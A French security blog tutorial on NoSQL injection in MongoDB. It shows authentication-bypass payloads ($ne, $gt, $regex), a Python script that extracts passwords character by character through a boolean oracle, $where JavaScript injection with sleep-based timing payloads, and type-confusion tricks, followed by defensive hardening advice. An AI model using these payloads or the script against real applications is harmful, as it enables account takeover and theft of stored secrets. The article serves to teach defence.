Nouvelle réglementation de cybersécurité 2026 en vigueur au Maroc. Obtenir un audit de conformité gratuit →
← Retour au Blog
Sécurité Base de Données 2026-11-06 ⏱️ 12 min

Injections NoSQL dans les Applications Web Modernes : MongoDB & Bases Documentaires

Lors de l'essor des bases de données NoSQL au début des années 2010, un mythe tenace s'est solidement enraciné au sein de nombreuses équipes de développement : parce que les bases NoSQL n'utilisent pas le langage de requête structuré (SQL), elles seraient naturellement immunisées contre les attaques par injection. Plus d'une décennie plus tard, cette idée reçue demeure l'une des erreurs de conception les plus dangereuses de la sécurité logicielle contemporaine.

Bien que les magasins orientés documents tels que MongoDB, CouchDB ou AWS DocumentDB ne fassent pas appel à la syntaxe SQL classique, ils s'appuient sur des objets de requêtes structurés (comme le format BSON sous MongoDB) et intègrent souvent des moteurs d'exécution dynamique côté serveur (notamment des environnements JavaScript embarqués). Dès lors qu'une entrée utilisateur non assainie peut altérer la structure de l'arbre de requête ou se retrouver concaténée dans une chaîne évaluée dynamiquement, l'injection devient triviale et produit des conséquences dévastatrices.

Ce guide technique démystifie l'illusion d'invulnérabilité des bases NoSQL, dissèque les injections d'opérateurs au sein des API JSON, détaille les méthodes d'exfiltration aveugle via expressions régulières, analyse l'exécution JavaScript arbitraire permise par $where, examine les failles de confusion de types et expose une feuille de route complète pour sécuriser durablement vos bases documentaires en production.


1. Mythe vs Réalité : Pourquoi les Bases NoSQL sont Injectables

Dans une injection SQL (SQLi) traditionnelle, l'attaquant s'échappe d'un littéral de chaîne au sein d'une commande SQL textuelle. En injectant des apostrophes ('), des commentaires (--) ou des opérateurs logiques (OR 1=1), il altère l'arbre syntaxique abstrait (AST) généré par l'analyseur syntaxique du moteur de base de données relationnelle.

Les bases de données NoSQL ont été conçues selon des paradigmes orientés documents et objets. Plutôt que d'analyser des commandes textuelles brutes, des bases comme MongoDB reçoivent leurs requêtes sous forme de documents de données structurés (BSON — Binary JSON). À titre d'exemple, une recherche d'utilisateur s'exprime ainsi en JavaScript :

db.users.findOne({ username: req.body.username, password: req.body.password });

Les développeurs s'imaginent fréquemment qu'en l'absence de concaténation de chaînes dans une instruction textuelle, toute forme d'injection est impossible. Cette conclusion confond l'analyse syntaxique avec la structure sémantique des objets :

  • Modification de l'Arbre d'Objets (Injection d'Opérateurs) : Dans les architectures d'API REST et GraphQL actuelles, les clients transmettent leurs requêtes sous forme d'objets JSON natifs. Si le serveur applicatif transfère directement une propriété JSON désérialisée au pilote de base de données sans vérifier qu'il s'agit strictement d'une chaîne scalaire primitive, un attaquant peut transmettre un objet complet incorporant des opérateurs de requête MongoDB (tels que $ne, $gt, $regex ou $where). Cela modifie la sémantique logique de la requête sans jamais générer d'erreur de syntaxe.
  • Évaluation Dynamique de JavaScript : MongoDB intègre un moteur JavaScript complet (historiquement SpiderMonkey, aujourd'hui V8). Des mécanismes tels que les clauses $where, les fonctions mapReduce et les étapes de pipeline $accumulator exécutent du code JavaScript directement au sein du processus de base de données. Si des entrées non fiables sont concaténées dans ces chaînes de script, une véritable injection de code s'opère au cœur du moteur de base de données.

L'injection NoSQL n'est donc pas une anomalie théorique ; elle résulte d'une violation directe de la séparation fondamentale entre le flux de contrôle de l'application et les données non fiables fournies par l'utilisateur.


2. Attaque 1 — Injection d'Opérateurs dans les API JSON (Contournement d'Authentification)

L'injection d'opérateurs représente la vulnérabilité NoSQL la plus couramment rencontrée dans les environnements Node.js, Python et Ruby. Elle se produit lorsque le framework web parse les paramètres HTTP entrants en objets structurés et que l'application transmet ces objets directement au moteur de base de données sans filtrage préalable.

Modèle de Code Vulnérable

Considérons une route d'authentification sous Express.js exploitant le middleware standard express.json() :

// Route d'authentification vulnerable sous Express.js
const express = require('express');
const app = express();
const MongoClient = require('mongodb').MongoClient;

app.use(express.json()); // Deserialise application/json dans req.body

app.post('/api/login', async (req, res) => {
    const { username, password } = req.body;

    // VULNERABLE : Insertion directe de l'objet dans la requete
    const user = await db.collection('users').findOne({
        username: username,
        password: password
    });

    if (user) {
        req.session.userId = user._id;
        return res.json({ success: true, message: `Bienvenue ${user.username}` });
    }

    return res.status(401).json({ success: false, message: 'Identifiants invalides' });
});

La Charge Utile de l'Attaquant

Un utilisateur légitime soumet des valeurs textuelles simples :

{
  "username": "admin",
  "password": "mot_de_passe_secret"
}

Le backend exécute : db.users.findOne({ username: "admin", password: "mot_de_passe_secret" }).

L'attaquant remplace la chaîne scalaire du champ password par un objet JSON exploitant l'opérateur de comparaison $ne (différent de) :

{
  "username": "admin",
  "password": { "$ne": "" }
}

Exécution et Impact

Le pilote MongoDB compile et évalue la requête BSON suivante :

db.users.findOne({
    username: "admin",
    password: { $ne: "" }
})

Cette instruction signifie pour MongoDB : « Recherche un document utilisateur dont le nom d'utilisateur est 'admin' ET dont le mot de passe N'EST PAS ÉGAL à la chaîne vide. » Étant donné que le compte administrateur possède une chaîne ou une empreinte non vide, la condition est validée. MongoDB renvoie le document complet de l'administrateur, et l'application octroie une session avec privilèges élevés à l'attaquant sans qu'aucun mot de passe n'ait été fourni.

Variantes avec Encodage URL (x-www-form-urlencoded)

Cette faille ne concerne pas exclusivement les API JSON. Lorsqu'une application configure express.urlencoded({ extended: true }), Express fait appel à la bibliothèque qs pour désérialiser les chaînes d'URL. Cette bibliothèque convertit automatiquement la notation à crochets en objets imbriqués :

POST /api/login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

username=admin&password[$ne]=

La bibliothèque qs transforme password[$ne]= en { password: { "$ne": "" } }, entraînant un contournement d'authentification identique.

D'autres opérateurs de comparaison permettent des attaques similaires :

  • {"password": {"$gt": ""}} — Sélectionne toute chaîne lexicographiquement supérieure à la chaîne vide.
  • {"username": {"$in": ["admin", "root", "directeur"]}, "password": {"$gt": ""}} — Cible simultanément plusieurs comptes à privilèges.
  • {"password": {"$exists": true}} — Valide la condition dès lors que le champ mot de passe existe dans le document.

3. Attaque 2 — Extraction Aveugle de Données par Expressions Régulières ($regex)

Si le contournement d'authentification confère un accès instantané, les auditeurs et attaquants rencontrent régulièrement des interfaces où l'application ne renvoie qu'un statut booléen (par exemple « Utilisateur présent » ou « Utilisateur inconnu »), sans afficher le contenu des champs sensibles (clés d'API, secrets MFA, jetons de réinitialisation).

Grâce à l'opérateur $regex de MongoDB, il est possible de transformer cet oracle booléen en canal d'exfiltration automatisé, permettant de reconstituer n'importe quelle valeur secrète caractère par caractère.

Mécanisme de l'Oracle Regex

MongoDB permet de formuler des filtres à l'aide d'expressions régulières via $regex. L'attaquant transmet des motifs ancrés au début de la chaîne cible à l'aide de l'accent circonflexe (^) :

{"username": "admin", "password": {"$regex": "^a.*"}}
{"username": "admin", "password": {"$regex": "^b.*"}}
{"username": "admin", "password": {"$regex": "^c.*"}}

Si le mot de passe de l'administrateur débute par la lettre s, la requête contenant ^s.* s'évalue à vrai, et l'application renvoie un code 200 (ou un message positif). L'attaquant valide ce premier caractère et s'attaque immédiatement au second :

{"username": "admin", "password": {"$regex": "^sa.*"}}
{"username": "admin", "password": {"$regex": "^sb.*"}}
...
{"username": "admin", "password": {"$regex": "^se.*"}} // Correspondance !

Script Python d'Automatisation de l'Exfiltration

Le script Python ci-dessous démontre comment automatiser l'extraction d'un mot de passe ou d'un jeton via cet oracle booléen :

import requests
import string
import sys

TARGET_URL = "https://target.com/api/login"
TARGET_USER = "admin"
CHARSET = string.ascii_letters + string.digits + "!@#$%^&*()-_=+[]{}|;:,.<>?"

secret_extrait = ""
longueur_max = 64

print(f"[*] Demarrage de l'exfiltration aveugle NoSQL pour l'utilisateur : {TARGET_USER}")

for index in range(longueur_max):
    caractere_trouve = False
    for char in CHARSET:
        # Echapper les caracteres speciaux des regex
        char_echappe = "\\" + char if char in ".^$*+?()[]{}|\\" else char
        motif_test = f"^{secret_extrait}{char_echappe}"

        payload = {
            "username": TARGET_USER,
            "password": {
                "$regex": motif_test
            }
        }

        try:
            reponse = requests.post(TARGET_URL, json=payload, timeout=5)
            # Evaluation de l'oracle booleen
            if "Bienvenue" in reponse.text or reponse.status_code == 200:
                secret_extrait += char
                sys.stdout.write(f"\r[+] Secret decouvert : {secret_extrait}")
                sys.stdout.flush()
                caractere_trouve = True
                break
        except requests.RequestException as err:
            print(f"\n[-] Erreur reseau : {err}")
            break

    if not caractere_trouve:
        print(f"\n[!] Fin de l'extraction ou ensemble de caracteres epuise.")
        break

print(f"\n[+] Secret final extrait : {secret_extrait}")

En substituant une recherche dichotomique (binaire) à l'itération linéaire sur la table ASCII, le volume de requêtes HTTP passe de O(N * M) à O(N * log M), permettant d'exfiltrer un jeton de 32 caractères à haute entropie en moins de deux minutes.


4. Attaque 3 — Injection JavaScript Côté Serveur via $where et $function

Outre les injections d'opérateurs dans les documents JSON, les bases NoSQL sont exposées à de véritables injections de code lorsque les développeurs recourent aux fonctionnalités d'évaluation JavaScript côté serveur.

L'Opérateur $where

L'opérateur $where de MongoDB transmet une expression ou une fonction JavaScript brute directement au moteur de base de données. Ce script est évalué individuellement pour chaque document de la collection ; si l'évaluation retourne true, le document correspondant est renvoyé.

Certains développeurs font appel à $where pour gérer des comparaisons complexes non prises en charge par les opérateurs BSON standards. Lorsque des entrées utilisateurs sont concaténées dans la chaîne JavaScript, une injection critique survient :

// VULNERABLE : Concatenation directe d'entrees dans la clause $where
app.get('/api/users/search', async (req, res) => {
    const userQuery = req.query.username;

    // Concaténation de données utilisateur non filtrées dans du code JavaScript
    const query = {
        $where: "this.username == '" + userQuery + "'"
    };

    const results = await db.collection('users').find(query).toArray();
    res.json(results);
});

Exploitation de l'Exécution JavaScript

Un attaquant peut s'échapper du littéral de chaîne à l'aide d'une apostrophe (') et injecter des instructions JavaScript arbitraires :

1. Tautologie Booléenne (Vidage de Collection) :

username=admin' || '1'=='1

Le code évalué devient : this.username == 'admin' || '1'=='1'. L'expression '1'=='1' étant universellement vraie, MongoDB retourne l'ensemble des documents de la collection sans restriction.

2. Exfiltration Aveugle Basée sur le Temps :

Si l'application masque les messages d'erreur et les résultats, l'attaquant provoque des délais de réponse perceptibles en exploitant la fonction native de MongoDB sleep() :

username=admin' || sleep(5000) || '

Le thread de la base de données suspend son exécution pendant 5000 millisecondes avant de répondre, validant sans équivoque la possibilité d'exécuter du code.

3. Extraction Dynamique des Propriétés de Documents :

username=admin' || (function(){ if (this.password.charCodeAt(0) == 102) sleep(3000); return false; })() || '

Cette charge utile inspecte le code caractère Unicode du mot de passe stocké dans chaque document. Si le premier caractère correspond au code ASCII testé, la base s'interrompt pendant 3 secondes, permettant une fuite totale des données même sur des collections protégées.

$function et $accumulator dans les Pipelines d'Agrégation

Depuis MongoDB 4.4, les opérateurs $function et $accumulator permettent d'intégrer des fonctions JavaScript personnalisées au sein des pipelines d'agrégation. L'insertion de paramètres non assainis dans ces fonctions réintroduit les mêmes vecteurs d'injection JavaScript côté serveur.


5. Attaque 4 — Confusion de Types dans les Langages Dynamiques

La confusion de types survient lorsqu'une application attend un type de données primitif scalaire (comme une chaîne ou un entier) mais traite de façon implicite un tableau ou un objet sans validation de conformité.

Dans des environnements à typage faible comme JavaScript/Node.js, les opérateurs de comparaison peuvent produire des comportements inattendus :

// Verification d'acces defaillante
if (req.body.role === 'admin') {
    // Verification stricte
}

Si la valeur est ensuite transmise à une routine interne qui utilise l'égalité souple (==) :

function verifierAcces(role) {
    return role == 'admin';
}

En JavaScript :

['admin'] == 'admin'  // Renvoie TRUE suite a la conversion automatique de tableau en chaine !

De plus, au niveau des requêtes MongoDB :

// Si un attaquant transmet : { "role": ["admin", "visiteur"] }
db.accounts.find({ role: req.body.role });

Lorsque MongoDB reçoit un tableau pour un champ scalaire, il opère une correspondance dite multikey : il vérifie si au moins un élément du tableau correspond à la valeur enregistrée dans le document. Si le document possède role: "admin", la requête est validée. L'absence de vérification rigoureuse du type (typeof req.body.role === 'string') permet ainsi à des structures complexes de contourner les contrôles d'accès ou de provoquer des exceptions non gérées aboutissant à des dénis de service (DoS).


6. Feuille de Route pour la Défense et le Durcissement

La protection efficace contre les injections NoSQL requiert une désinfection stricte des entrées, l'imposition de schémas typés, la configuration défensive du démon de base de données et la proscription définitive du code dynamique.

1. Assainissement des Entrées avec express-mongo-sanitize

Dans les applications Node.js / Express, installez et appliquez express-mongo-sanitize au tout début de la chaîne de middlewares. Ce composant élimine récursivement toutes les clés commençant par $ (opérateurs MongoDB) ou contenant un point . (utilisé pour naviguer dans l'arborescence des documents) dans req.body, req.query et req.params.

const express = require('express');
const mongoSanitize = require('express-mongo-sanitize');

const app = express();

app.use(express.json({ limit: '10kb' }));
app.use(express.urlencoded({ extended: true, limit: '10kb' }));

// Assainissement preventif contre les injections d'operateurs MongoDB
app.use(mongoSanitize({
    replaceWith: '_', // Remplace '$' par '_' ou supprime la cle
    onSanitize: ({ req, key }) => {
        console.warn(`[ALERTE SECURITE] Cle suspecte neutralisee : ${key} depuis l'IP : ${req.ip}`);
    }
}));

2. Imposition de Schémas Rigides avec Mongoose

L'emploi d'un ODM (Object Document Mapper) comme Mongoose offre une défense naturelle contre l'injection d'opérateurs. Dès lors que des types stricts sont définis dans le schéma, Mongoose convertit explicitement les valeurs reçues vers le type désigné. Si un attaquant injecte un objet tel que {"$ne": ""} là où une chaîne est attendue, Mongoose lève une exception CastError et stoppe la requête avant tout contact avec le serveur MongoDB.

const mongoose = require('mongoose');

const userSchema = new mongoose.Schema({
    username: {
        type: String,
        required: true,
        trim: true,
        match: /^[a-zA-Z0-9_-]{3,30}$/ // Validation de format stricte
    },
    passwordHash: {
        type: String,
        required: true
    },
    role: {
        type: String,
        enum: ['user', 'moderator', 'admin'],
        default: 'user'
    }
});

const User = mongoose.model('User', userSchema);

// Traitement securise de l'authentification :
app.post('/api/login', async (req, res) => {
    const { username, password } = req.body;

    // Verification explicite des types scalaires
    if (typeof username !== 'string' || typeof password !== 'string') {
        return res.status(400).json({ error: 'L identifiant et le mot de passe doivent etre des chaines' });
    }

    const user = await User.findOne({ username: username });
    if (!user) {
        return res.status(401).json({ error: 'Identifiants invalides' });
    }

    // Verification du hachage avec bcrypt (jamais de stockage en clair)
    const isValid = await bcrypt.compare(password, user.passwordHash);
    if (!isValid) {
        return res.status(401).json({ error: 'Identifiants invalides' });
    }

    return res.json({ success: true });
});

3. Validation Systématique via Zod ou Joi

Validez la structure et le type de chaque charge utile reçue avant son traitement par la logique métier grâce à des bibliothèques de validation modernes :

import { z } from 'zod';

const SchemaConnexion = z.object({
    username: z.string().min(3).max(50),
    password: z.string().min(8).max(128)
}).strict(); // Rejette toute propriete inattendue

app.post('/api/login', (req, res) => {
    const resultat = SchemaConnexion.safeParse(req.body);
    if (!resultat.success) {
        return res.status(400).json({ error: 'Format d entree non conforme' });
    }
    // Poursuite avec des scalaires certifies : resultat.data.username
});

4. Désactivation du Moteur JavaScript dans mongod.conf

À moins que vos traitements applicatifs ne nécessitent impérativement des opérations MapReduce historiques, désactivez totalement l'évaluation JavaScript au sein du fichier de configuration du démon MongoDB (/etc/mongod.conf) :

# /etc/mongod.conf
security:
  javascriptEnabled: false

La directive javascriptEnabled: false neutralise les attaques par injection via $where, mapReduce et $function au niveau du démon de base de données, empêchant toute exécution de code arbitraire même si une requête mal formée parvenait jusqu'au moteur.

5. Proscription de $where, eval() et mapReduce en Revue de Code

Mettez en place des règles d'analyse statique automatisée (ESLint, SonarQube) pour détecter et interdire dans vos dépôts :

  • L'utilisation de clauses $where.
  • L'appel à db.eval() (obsolète et retiré des versions récentes de MongoDB).
  • Toute concaténation de variables dans les pipelines d'agrégation.

Conclusion

Les bases de données NoSQL apportent une souplesse et des performances indéniables, mais elles ne confèrent aucune immunité automatique contre les injections. L'injection d'opérateurs, l'exfiltration aveugle par expressions régulières et l'exécution JavaScript non maîtrisée sont des menaces tangibles pour toute application traitant du JSON sans filtrage de type rigoureux. En imposant des schémas d'ODM stricts, en assainissant les flux avec express-mongo-sanitize, en désactivant le moteur JavaScript dans mongod.conf et en validant systématiquement les données entrantes, les entreprises peuvent garantir une sécurité robuste à leur couche de stockage documentaire.

Besoin d'un Audit de Sécurité Base de Données ?

Vos couches de requêtes MongoDB, DocumentDB ou NoSQL sont-elles vulnérables aux injections d'opérateurs ou à la confusion de types ? Cayvora Security réalise des audits de code et des tests d'intrusion pour protéger vos données.

✉️ Demander un Audit de Base de Données

Articles Connexes